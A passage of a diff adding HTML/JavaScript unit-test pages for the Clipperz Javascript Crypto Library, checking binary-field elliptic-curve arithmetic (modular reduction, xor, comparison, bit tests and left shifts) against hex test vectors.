expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("1704018ce75dc462a5ccd1eb18b8002ecb8536c616ec625f440f6888f8c32387e53a5cb3b6050688e9b64a32215a385ee98c518d6a484d5ac0ceeafa825743c84b075bdfabc341b", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.module (2)");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.module (improved) (2)");
|
||||
is(a.asString(16), "1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a", "ECC.BinaryFinetField.module (2)");
|
||||
is(a1.asString(16), "1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a", "ECC.BinaryFinetField.module (2)");
|
||||
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
result = f2m.module(a);
|
||||
result_improved = f2m_improved.module(a);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("e160dd4a436e63877e1343d06576beaa66e06863ffe4335be38d6a37460a62d11133584a5bc6ac0590e18942e1fa88bb64a4d9fc6c1fd7b55d7e57b50b70a9e7cb2ed904ad77f4", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.module (2)");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.module (improved) (2)");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,496 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC.js'></script>-->
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Value.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Point.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/FiniteField.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Curve.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Functions.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
var value_1;
|
||||
var value_2;
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("a", 16);
|
||||
is(value_1.asString(16), "0a");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ffff", 16);
|
||||
is(value_1.asString(16), "ffff");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("7fff", 16);
|
||||
is(value_1.asString(16), "7fff");
|
||||
|
||||
is(parseInt("ffff", 16), 65535);
|
||||
is(parseInt("ffffff", 16), 16777215);
|
||||
is(parseInt("ffffffff", 16), 4294967295);
|
||||
is(parseInt("ffffffffff", 16), 1099511627775);
|
||||
is(parseInt("ffffffffffff", 16), 281474976710655);
|
||||
is(parseInt("ffffffffffffff", 16), 72057594037927940);
|
||||
is(parseInt("ffffffffffffffff", 16), 18446744073709552000);
|
||||
is(parseInt("10000000000000000", 16), 18446744073709552001);
|
||||
is(parseInt("10000000000000001", 16), 18446744073709552002);
|
||||
is(parseInt("10000000000000009", 16), 18446744073709552010);
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
is(value_1.wordSize(), 8, "check the number of words of a 64 char hex string using the 'wordSize' method");
|
||||
|
||||
// 000108cb bacda1f0 3ea93603 01045434 ec7d82ba 150936df 08a229cb b4832ce1
|
||||
is(value_1.value()[0], parseInt("b4832ce1", 16), "word[0]");
|
||||
is(value_1.value()[1], parseInt("08a229cb", 16), "word[1]");
|
||||
is(value_1.value()[2], parseInt("150936df", 16), "word[2]");
|
||||
is(value_1.value()[3], parseInt("ec7d82ba", 16), "word[3]");
|
||||
is(value_1.value()[4], parseInt("01045434", 16), "word[4]");
|
||||
is(value_1.value()[5], parseInt("3ea93603", 16), "word[5]");
|
||||
is(value_1.value()[6], parseInt("bacda1f0", 16), "word[6]");
|
||||
is(value_1.value()[7], parseInt("000108cb", 16), "word[7]");
|
||||
|
||||
is(value_1.asString(16), "0108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", "asString(16)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('10 00000000 00000000', 16);
|
||||
is(value_1.wordSize(), 3, "check the number of words of a value with only a bit set on the first slot of byte at position 17");
|
||||
is(value_1.value()[0], parseInt("00000000", 16), "word[0]");
|
||||
is(value_1.value()[1], parseInt("00000000", 16), "word[1]");
|
||||
is(value_1.value()[2], parseInt("10", 16), "word[2]");
|
||||
is(value_1.asString(16), "100000000000000000", "2^17 asString(16)");
|
||||
|
||||
//
|
||||
// XOR
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 16);
|
||||
result = value_1.xor(value_2);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('0', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "a xor a = 0");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855', 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b935c a495991b 7852b855', 16);
|
||||
result = value_1.xor(value_2);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('10 00000000 00000000', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "single bit difference");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("01", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b935ca495991b7852b855', 16);
|
||||
result = value_1.xor(value_2);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b935ca495991b7852b854', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "01 xor value");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value('f3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 16);
|
||||
result = value_1.xor(value_2);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('1000000000000000000000000000000000000000000000000000000000000000', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "first bit difference xor");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('84a2c58a', 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value('38925faf', 16);
|
||||
result = value_1.xor(value_2);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('bc309a25', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "84a2c58a XOR 38925faf = bc309a25");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("01401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("0112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a", 16);
|
||||
result = value_1.xor(value_2);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('0052e96105fb673dbc309a250b1c661d65318c6bc2dc86223dce84bf87fe17aae91305d80752ddaeded570714c1a539af9797c63d1f545832a92d8c1f97026ddcdc54995064a874d', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "xor");
|
||||
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000425", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("01ebcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f06a4f816429a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
result = value_2.xor(value_1.shiftLeft(value_2.bitSize() - value_1.bitSize()));
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("ebcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f06a4f892e29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "xor");
|
||||
is(result.bitSize(), 1120, "xor.bitSize");
|
||||
is(result.wordSize(), 35, "result wordSize");
|
||||
is(expectedResult.bitSize(), 1120, "xor.bitSize");
|
||||
is(expectedResult.wordSize(), 35, "expectedResult wordSize");
|
||||
is(result.compare(expectedResult), 0, "compare");
|
||||
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000425", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("ebcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f06a4f892e29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
result = value_2.xor(value_1.shiftLeft(value_2.bitSize() - value_1.bitSize()));
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("6bcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f06a4f8d0b29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "xor");
|
||||
is(result.bitSize(), 1119, "xor.bitSize");
|
||||
is(expectedResult.bitSize(), 1119, "xor.bitSize");
|
||||
is(result.compare(expectedResult), 0, "compare");
|
||||
// value_1 =
|
||||
// value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000042500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", 16);
|
||||
|
||||
|
||||
value_1 = (new Clipperz.Crypto.ECC.BinaryField.Value("10101010 01010101 00000000", 16)).value();
|
||||
value_2 = (new Clipperz.Crypto.ECC.BinaryField.Value("10101010", 16)).value();
|
||||
result = new Clipperz.Crypto.ECC.BinaryField.Value(Clipperz.Crypto.ECC.BinaryField.Value._xor(value_1, value_2, 2));
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("01010101 00000000", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "xor with offset 2");
|
||||
|
||||
value_1 = (new Clipperz.Crypto.ECC.BinaryField.Value(" 10101010 01010101 00000000", 16)).value();
|
||||
value_2 = (new Clipperz.Crypto.ECC.BinaryField.Value("10101010 10101010", 16)).value();
|
||||
result = new Clipperz.Crypto.ECC.BinaryField.Value(Clipperz.Crypto.ECC.BinaryField.Value._xor(value_1, value_2, 2));
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("10101010 00000000 01010101 00000000", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "xor with offset 2 (2)");
|
||||
|
||||
//
|
||||
// isZero
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('0', 16);
|
||||
is(value_1.isZero(), true, "0.isZero() == true");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('1', 16);
|
||||
is(value_1.isZero(), false, "1.isZero() == false");
|
||||
|
||||
//
|
||||
// Comparison
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("0", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("0", 16);
|
||||
is (value_1.compare(value_2), 0, "BinaryField.value(0) = BinaryField.value(0)");
|
||||
// is (value_1.compare(0), 0, "BinaryField.value(0) = 0");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
is (value_1.compare(value_2), 1, "BinaryField.value(xxxxxx) != BinaryField.value(0)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("0", 16);
|
||||
is(value_1.compare(value_2), 1, "BinaryField.value(xxxxxx) > BinaryField.value(0)");
|
||||
is(value_2.compare(value_1), -1, "BinaryField.value(0) < BinaryField.value(xxxx)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("000108cbbacda1f03ea9360301045434ec7d82ba150936df08a229cbb4832ce1", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("05", 16);
|
||||
is(value_1.compare(value_2), 1, "BinaryField.value(xxxxxx) > BinaryField.value(05)");
|
||||
is(value_2.compare(value_1), -1, "BinaryField.value(05) < BinaryField.value(xxxx)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("-10", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("10", 16);
|
||||
is(value_1.compare(value_2), -1, "BinaryField.value(-10) - BinaryField.value(10). No negative number are managed");
|
||||
|
||||
//
|
||||
// more comparison
|
||||
//
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, 0, "equal compare");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c442", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("f3b0c442", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, -1, "second term with one more bit at the leftmost - compare (1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c442 98fc1c14", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("f3b0c442 98fc1c14", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, -1, "second term with one more bit at the leftmost - compare (2)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c442 98fc1c14 9afbf4c8", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("f3b0c442 98fc1c14 9afbf4c8", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, -1, "second term with one more bit at the leftmost - compare (3)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("f3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, -1, "second term with one more bit at the leftmost - compare (n)");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("f3b0c442", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c442", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, 1, "first term with one more bit at the leftmost - compare (1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("f3b0c442 98fc1c14", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c442 98fc1c14", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, 1, "first term with one more bit at the leftmost - compare (2)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("f3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, 1, "first term with one more bit at the leftmost - compare (n)");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427af41e4649b934ca495991b7852b855", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, 1, "first term with one more bit in the middle - compare");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427af41e4649b934ca495991b7852b855", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427aeffffffffffffffffffffffffffff", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, 1, "first term with one more bit in the middle - compare");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
value_2 = new Clipperz.Crypto.ECC.BinaryField.Value("05", 16);
|
||||
result = value_1.compare(value_2);
|
||||
is(result, 1, "equal compare");
|
||||
|
||||
|
||||
|
||||
//
|
||||
// isBitSet
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff", 16);
|
||||
result = value_1.isBitSet(1);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'ff'.isBitSet(1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("f0", 16);
|
||||
result =value_1.isBitSet(1);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'f0'.isBitSet(1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("f0", 16);
|
||||
result = value_1.isBitSet(3);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'f0'.isBitSet(3)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("f0", 16);
|
||||
result = value_1.isBitSet(4);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'f0'.isBitSet(4)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff00", 16);
|
||||
result = value_1.isBitSet(7);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'ff00'.isBitSet(7)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff00", 16);
|
||||
result = value_1.isBitSet(8);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'ff00'.isBitSet(8)");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("05000000000000", 16);
|
||||
result = value_1.isBitSet(47);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(47)");
|
||||
|
||||
result = value_1.isBitSet(48);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(48)");
|
||||
|
||||
result = value_1.isBitSet(49);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(49)");
|
||||
|
||||
result = value_1.isBitSet(50);
|
||||
expectedResult = true;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(50)");
|
||||
|
||||
result = value_1.isBitSet(51);
|
||||
expectedResult = false;
|
||||
is(result, expectedResult, "'05000000000000'.isBitSet(51)");
|
||||
|
||||
//
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
|
||||
result = value_1.isBitSet(52);
|
||||
is(result, true, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(52)");
|
||||
|
||||
result = value_1.isBitSet(53);
|
||||
is(result, false, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(53)");
|
||||
|
||||
result = value_1.isBitSet(54);
|
||||
is(result, false, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(54)");
|
||||
|
||||
result = value_1.isBitSet(55);
|
||||
is(result, true, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(55)");
|
||||
|
||||
result = value_1.isBitSet(56);
|
||||
is(result, false, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(56)");
|
||||
|
||||
result = value_1.isBitSet(57);
|
||||
is(result, false, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(57)");
|
||||
|
||||
result = value_1.isBitSet(58);
|
||||
is(result, true, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(58)");
|
||||
|
||||
result = value_1.isBitSet(59);
|
||||
is(result, false, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(59)");
|
||||
|
||||
result = value_1.isBitSet(60);
|
||||
is(result, false, "'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'.isBitSet(60)");
|
||||
|
||||
|
||||
//
|
||||
// shiftLeft
|
||||
//
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("7f", 16);
|
||||
result = value_1.shiftLeft(1);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('fe', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "'7f'.shiftLeft(1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("ff", 16);
|
||||
result = value_1.shiftLeft(1);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('01fe', 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "'ff'.shiftLeft(1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value( 'ffff', 16);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('ffff00', 16);
|
||||
result = value_1.shiftLeft(8);
|
||||
is(result.asString(16), expectedResult.asString(16), "ffff.shiftLeft(8)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value( '80000000', 16);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('1 00000000', 16);
|
||||
result = value_1.shiftLeft(1);
|
||||
is(result.compare(expectedResult) == 0, true, '8000000.shiftLeft(1).compare');
|
||||
is(result.asString(16), expectedResult.asString(16), "80000000.shiftLeft(1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('20000000', 16);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('40000000', 16);
|
||||
result = value_1.shiftLeft(1);
|
||||
is(result.compare(expectedResult) == 0, true, '2000000.shiftLeft(1).compare');
|
||||
is(result.asString(16), expectedResult.asString(16), "20000000.shiftLeft(1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value('40000000', 16);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('80000000', 16);
|
||||
result = value_1.shiftLeft(1);
|
||||
is(result.compare(expectedResult) == 0, true, '4000000.shiftLeft(1).compare');
|
||||
is(result.asString(16), expectedResult.asString(16), "40000000.shiftLeft(1)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value( 'ff7fffff', 16);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('ff 7fffff00', 16);
|
||||
result = value_1.shiftLeft(8);
|
||||
is(result.asString(16), expectedResult.asString(16), "ff7fffff.shiftLeft(8)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value( 'ffffffff', 16);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('ff ffffff00', 16);
|
||||
result = value_1.shiftLeft(8);
|
||||
is(result.asString(16), expectedResult.asString(16), "ffffffff.shiftLeft(8)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value( "e3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855", 16);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value('3 8ec3110a 63f07052 6befd322 65bee490 9eb90791 926e4d32 9256646d e14ae154', 16);
|
||||
result = value_1.shiftLeft(2);
|
||||
is(result.asString(16), expectedResult.asString(16), "Value.shiftLeft(10)");
|
||||
|
||||
value_1 = new Clipperz.Crypto.ECC.BinaryField.Value("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", 16);
|
||||
result = value_1.shiftLeft(8);
|
||||
